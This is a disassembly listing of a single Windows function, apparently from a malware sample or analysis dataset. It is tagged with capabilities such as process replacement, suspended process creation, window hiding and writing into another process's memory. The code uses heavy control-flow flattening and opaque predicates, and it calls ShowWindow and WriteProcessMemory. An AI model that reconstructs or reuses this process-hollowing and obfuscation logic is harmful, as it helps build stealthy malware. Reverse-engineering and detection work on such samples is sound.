Function at 0x10002aa0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x100
mov eax, dword [0x10093000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0xefd9ca65
sub edx, 1
add edx, 0xefd9ca65
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x102], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x101], al
mov dword [ebp - 0x108], 0x51e6cf79
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x10c], eax
sub eax, 0x800abe66
je 0x1000aad5
jmp 0x10002b1b
mov eax, dword [ebp - 0x10c]
sub eax, 0x80f26a61
je 0x100095e2
jmp 0x10002b31
mov eax, dword [ebp - 0x10c]
sub eax, 0x8159569f
je 0x100097bf
jmp 0x10002b47
mov eax, dword [ebp - 0x10c]
sub eax, 0x81c24a1b
je 0x1000bb47
jmp 0x10002b5d
mov eax, dword [ebp - 0x10c]
sub eax, 0x823f13b1
je 0x1000950e
jmp 0x10002b73
mov eax, dword [ebp - 0x10c]
sub eax, 0x8474d57e
je 0x10009300
jmp 0x10002b89
mov eax, dword [ebp - 0x10c]
sub eax, 0x84770af1
je 0x100073df
jmp 0x10002b9f
mov eax, dword [ebp - 0x10c]
sub eax, 0x84866fd4
je 0x10009081
jmp 0x10002bb5
mov eax, dword [ebp - 0x10c]
sub eax, 0x84b6d27a
je 0x1000ac29
jmp 0x10002bcb
mov eax, dword [ebp - 0x10c]
sub eax, 0x84fbb760
je 0x100089d8
jmp 0x10002be1
mov eax, dword [ebp - 0x10c]
sub eax, 0x8511ad4d
je 0x1000bd79
jmp 0x10002bf7
mov eax, dword [ebp - 0x10c]
sub eax, 0x8521d689
je 0x1000b781
jmp 0x10002c0d
mov eax, dword [ebp - 0x10c]
sub eax, 0x85243c78
je 0x1000a7a3
jmp 0x10002c23
mov eax, dword [ebp - 0x10c]
sub eax, 0x8567757a
je 0x1000be05
jmp 0x10002c39
mov eax, dword [ebp - 0x10c]
sub eax, 0x86389820
je 0x10006430
jmp 0x10002c4f
mov eax, dword [ebp - 0x10c]
sub eax, 0x86a36363
je 0x10006c8b
jmp 0x10002c65
mov eax, dword [ebp - 0x10c]
sub eax, 0x86a68048
je 0x100091b6
jmp 0x10002c7b
mov eax, dword [ebp - 0x10c]
sub eax, 0x86d15074
je 0x10006ab2
jmp 0x10002c91
mov eax, dword [ebp - 0x10c]
sub eax, 0x87006a8e
je 0x1000a638
jmp 0x10002ca7
mov eax, dword [ebp - 0x10c]
sub eax, 0x89478709
je 0x1000882f
jmp 0x10002cbd
mov eax, dword [ebp - 0x10c]
sub eax, 0x89518c42
je 0x100079e0
jmp 0x10002cd3
mov eax, dword [ebp - 0x10c]
sub eax, 0x8b1fa525
je 0x10008cfa
jmp 0x10002ce9
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c1b423d
je 0x100091d7
jmp 0x10002cff
mov eax, dword [ebp - 0x10c]
sub eax, 0x8c4560de
je 0x100072e2
jmp 0x10002d15
mov eax, dword [ebp - 0x10c]
sub eax, 0x8d60820f
je 0x100057fa
jmp 0x10002d2b
mov eax, dword [ebp - 0x10c]
sub eax, 0x8da512da
je 0x10009321
jmp 0x10002d41
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e3d903c
je 0x1000b0a4
jmp 0x10002d57
mov eax, dword [ebp - 0x10c]
sub eax, 0x8e92e397
je 0x1000ace6
jmp 0x10002d6d
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f018699
je 0x1000a86e
jmp 0x10002d83
mov eax, dword [ebp - 0x10c]
sub eax, 0x8f0ee66d
je 0x1000ba00
jmp 0x10002d99
mov eax, dword [ebp - 0x10c]
sub eax, 0x9016f8c7
je 0x1000b598
jmp 0x10002daf
mov eax, dword [ebp - 0x10c]
sub eax, 0x9214e6ed
je 0x1000bc3d
jmp 0x10002dc5
mov eax, dword [ebp - 0x10c]
sub eax, 0x92bfe8bb
je 0x100061b5
jmp 0x10002ddb
mov eax, dword [ebp - 0x10c]
sub eax, 0x934915f3
je 0x10008e50
jmp 0x10002df1
mov eax, dword [ebp - 0x10c]
sub eax, 0x93771fd7
je 0x1000b197
jmp 0x10002e07
mov eax, dword [ebp - 0x10c]
sub eax, 0x93e0a9d6
je 0x1000554e
jmp 0x10002e1d
mov eax, dword [ebp - 0x10c]
sub eax, 0x949a5640
je 0x10008c84
jmp 0x10002e33
mov eax, dword [ebp - 0x10c]
sub eax, 0x95e52148
je 0x10007664
jmp 0x10002e49
mov eax, dword [ebp - 0x10c]
sub eax, 0x95fbd5cd
je 0x10005e41
jmp 0x10002e5f
mov eax, dword [ebp - 0x10c]
sub eax, 0x965f309b
je 0x1000b826
jmp 0x10002e75
mov eax, dword [ebp - 0x10c]
sub eax, 0x96601449
je 0x1000aa65
jmp 0x10002e8b
mov eax, dword [ebp - 0x10c]
sub eax, 0x9763d2cb
je 0x1000b760
jmp 0x10002ea1
mov eax, dword [ebp - 0x10c]
sub eax, 0x987580a5
je 0x10008296
jmp 0x10002eb7
mov eax, dword [ebp - 0x10c]
sub eax, 0x98773660
je 0x10009afb
jmp 0x10002ecd
mov eax, dword [ebp - 0x10c]
sub eax, 0x9a7beea6
je 0x10009178
jmp 0x10002ee3
mov eax, dword [ebp - 0x10c]
sub eax, 0x9b743002
je 0x1000660b
jmp 0x10002ef9
mov eax, dword [ebp - 0x10c]
sub eax, 0x9bf3a80c
je 0x100073c2
jmp 0x10002f0f
mov eax, dword [ebp - 0x10c]
sub eax, 0x9c6e61dd
je 0x1000aa4b
jmp 0x10002f25
mov eax, dword [ebp - 0x10c]
sub eax, 0x9e848e58
je 0x10007098
jmp 0x10002f3b
mov eax, dword [ebp - 0x10c]
sub eax, 0x9eaa5199
je 0x10007fb8
jmp 0x10002f51
mov eax, dword [ebp - 0x10c]
sub eax, 0x9f846c56
je 0x1000be2f
jmp 0x10002f67
mov eax, dword [ebp - 0x10c]
sub eax, 0xa03b423a
je 0x10006887
jmp 0x10002f7d
mov eax, dword [ebp - 0x10c]
sub eax, 0xa057e696
je 0x10008236
jmp 0x10002f93
mov eax, dword [ebp - 0x10c]
sub eax, 0xa0b4d6ed
je 0x1000a854
jmp 0x10002fa9
mov eax, dword [ebp - 0x10c]
sub eax, 0xa20d8287
je 0x1000793b
jmp 0x10002fbf
mov eax, dword [ebp - 0x10c]
sub eax, 0xa2fb0291
je 0x10008ffd
jmp 0x10002fd5
mov eax, dword [ebp - 0x10c]
sub eax, 0xa30a3742
je 0x1000a0cf
jmp 0x10002feb
mov eax, dword [ebp - 0x10c]
sub eax, 0xa31e8d47
je 0x1000a758
jmp 0x10003001
mov eax, dword [ebp - 0x10c]
sub eax, 0xa43651ac
je 0x1000befd
jmp 0x10003017
mov eax, dword [ebp - 0x10c]
sub eax, 0xa47ec9ac
je 0x10007a56
jmp 0x1000302d
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5b8b478
je 0x1000b568
jmp 0x10003043
mov eax, dword [ebp - 0x10c]
sub eax, 0xa5f0ebc1
je 0x10008edf
jmp 0x10003059
mov eax, dword [ebp - 0x10c]
sub eax, 0xa60baf7e
je 0x10007f30
jmp 0x1000306f
mov eax, dword [ebp - 0x10c]
sub eax, 0xa6812564
je 0x1000ad70
jmp 0x10003085
mov eax, dword [ebp - 0x10c]
sub eax, 0xa6ccca94
je 0x100069fe
mov eax, dword [ebp - 0x84]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.100010b0
add esp, 4
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x1001925c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0x100]
movss xmm0, dword [0x10019258]
movss dword [eax], xmm0
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0xd12ee8d
sub edx, 1
add edx, 0xd12ee8d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x44e30c9b
mov ecx, 0xb0ccf861
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xa5b8b478
mov ecx, 0xc557f5bc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0xe4e77f23
jmp 0x1000bf3f
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019378]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x562e4f0e
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0xdb35f7b1
jmp 0x1000bf3f
mov dl, 1
mov eax, 0x7c23d9c1
mov ecx, 0x109cbe1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xfc]
movss xmm0, dword [0x10019224]
movss dword [eax], xmm0
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0x1168a140
sub edx, 1
add edx, 0x1168a140
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xade01b80
mov ecx, 0xec37b641
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0x3b8350a4
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf8]
movss xmm0, dword [0x1001934c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x1f4d17d5
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf4]
movss xmm0, dword [0x10019328]
movss dword [eax], xmm0
mov dl, 1
mov eax, 0x1aba86a
mov ecx, 0xdf88f826
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0xc2564270
sub edx, 1
add edx, 0xc2564270
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x41684db8
mov ecx, 0x205abfe3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dl, 1
mov eax, 0xade7631f
mov ecx, 0x84770af1
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
add edx, 0x68af9d07
sub edx, 1
sub edx, 0x68af9d07
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xf064d6dd
mov ecx, 0x2125d91f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0xb3f9df08
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191f0]
movss dword [eax], xmm0
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
add edx, 0x47b6c11a
sub edx, 1
sub edx, 0x47b6c11a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x2ad9c7fa
mov ecx, 0xee60655c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0x4eef0be6
sub edx, 1
add edx, 0x4eef0be6
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x812ef2f
mov ecx, 0xa47ec9ac
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191ec]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191e8]
movss dword [eax], xmm0
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
add edx, 0x5b824dba
sub edx, 1
sub edx, 0x5b824dba
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x812ef2f
mov ecx, 0x49983cc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x100191dc]
movss dword [eax], xmm0
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0x86b784c
sub edx, 1
add edx, 0x86b784c
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x26d0fb63
mov ecx, 0x9eaa5199
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0x2e1a21f7
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
add edx, 0xa6db494d
sub edx, 1
sub edx, 0xa6db494d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x13e43ebc
mov ecx, 0x2841fc21
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192d0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x6fad61c4
jmp 0x1000bf3f
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x100192b0]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xebbf3895
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
add edx, 0xa5ea37eb
sub edx, 1
sub edx, 0xa5ea37eb
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb29dd461
mov ecx, 0x4bcea277
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
add edx, 0x49039b05
sub edx, 1
sub edx, 0x49039b05
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xe46b4693
mov ecx, 0x8b1fa525
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191b8]
movss dword [eax], xmm0
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
sub edx, 0xf5d4449c
sub edx, 1
add edx, 0xf5d4449c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe46b4693
mov ecx, 0x38aa3b30
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dl, 1
mov eax, 0xeed8091e
mov ecx, 0x134b6419
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191b0]
movss dword [eax], xmm0
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xeb185373
mov ecx, 0x428e8cde
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191ac]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x100191a8]
movss dword [eax], xmm0
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
add edx, 0x62da4781
sub edx, 1
sub edx, 0x62da4781
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x81c24a1b
mov ecx, 0x1f1e0f6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
add edx, 0xbb4ccf1a
sub edx, 1
sub edx, 0xbb4ccf1a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcbe5dbc
mov ecx, 0xc833c93f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov dl, 1
mov eax, 0x8c1b423d
mov ecx, 0x78162c65
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001928c]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x8c1b423d
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019288]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019284]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xff4086d0
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019280]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0x8da512da
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcfffcbd5
mov ecx, 0xe685dd98
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xe7877a3
mov ecx, 0xaf7fbdb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
add edx, 0x825eeeb9
sub edx, 1
sub edx, 0x825eeeb9
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdae7034
mov ecx, 0x659bf240
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x10019274]
movss dword [eax], xmm0
mov dword [ebp - 0x108], 0xaba7bf91
jmp 0x1000bf3f
mov eax, dword [ebp - 0xe0]
mov eax, dword [eax]
mov dword [ebp - 0x7c], eax
mov dword [ebp - 0x108], 0x2e21bec5
jmp 0x1000bf3f
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xe0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xbc]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xe0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xb4]
mov dword [eax], ecx
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x108], 0x472226f4
jmp 0x1000bf3f
mov dword [ebp - 0x108], 0xb7a9f7cd
jmp 0x1000bf3f
mov ecx, dword [ebp - 0x44]
mov eax, dword [ebp - 0x40]
add ecx, eax
mov eax, dword [ebp - 0xa8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xb4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xa4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x1efbc2f
sub eax, edx
sub eax, 0x1efbc2f
add ecx, eax
mov eax, dword [ebp - 0xac]
mov dword [eax], ecx
mov dword [ebp - 0x108], 0x85243c78
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
mov edx, eax
sub edx, 0x7622c845
sub edx, 1
add edx, 0x7622c845
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2700cf2e
mov ecx, 0x5c88132c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x108], 0x8f018699
jmp 0x1000bf3f
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcd921efb
mov ecx, 0xd15c9831
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0xbc]
mov eax, dword [eax]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x108], 0x96601449
jmp 0x1000bf3f
mov eax, dword [ebp - 0xd4]
mov eax, dword [eax]
mov esi, dword [eax + 0x34]
mov edx, dword [ebp - 0x34]
mov eax, 0xea0b93fb
mov ecx, 0x598a2322
cmp edx, esi
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0xcbff220a
sub edx, 1
add edx, 0xcbff220a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x520f95bc
mov ecx, 0x6a979f5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x98]
cmp eax, dword [ecx]
setb al
and al, 1
mov byte [ebp - 0x25], al
mov dword [ebp - 0x108], 0xaa6c9d42
jmp 0x1000bf3f
mov ax, word [ebp - 0x24]
movzx ecx, ax
mov edx, 0xffffffff
xor edx, 0xf000
mov eax, ecx
xor eax, edx
and eax, ecx
cmp eax, 3
sete al
and al, 1
mov byte [ebp - 0x22], al
mov eax, dword [0x10094328]
mov ecx, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x9f846c56
mov ecx, 0x2f9896fa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
mov edx, ecx
sub edx, 0x14eb2a7f
sub edx, 1
add edx, 0x14eb2a7f
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xbcefd114
mov ecx, 0xfe91210f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov ecx, dword [0x10094328]
mov eax, dword [0x10094324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7d472f25
mov ecx, 0xfd8d552f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x108], eax
jmp 0x1000bf3f
mov eax, dword [ebp - 0x90]
mov eax, dword [eax]
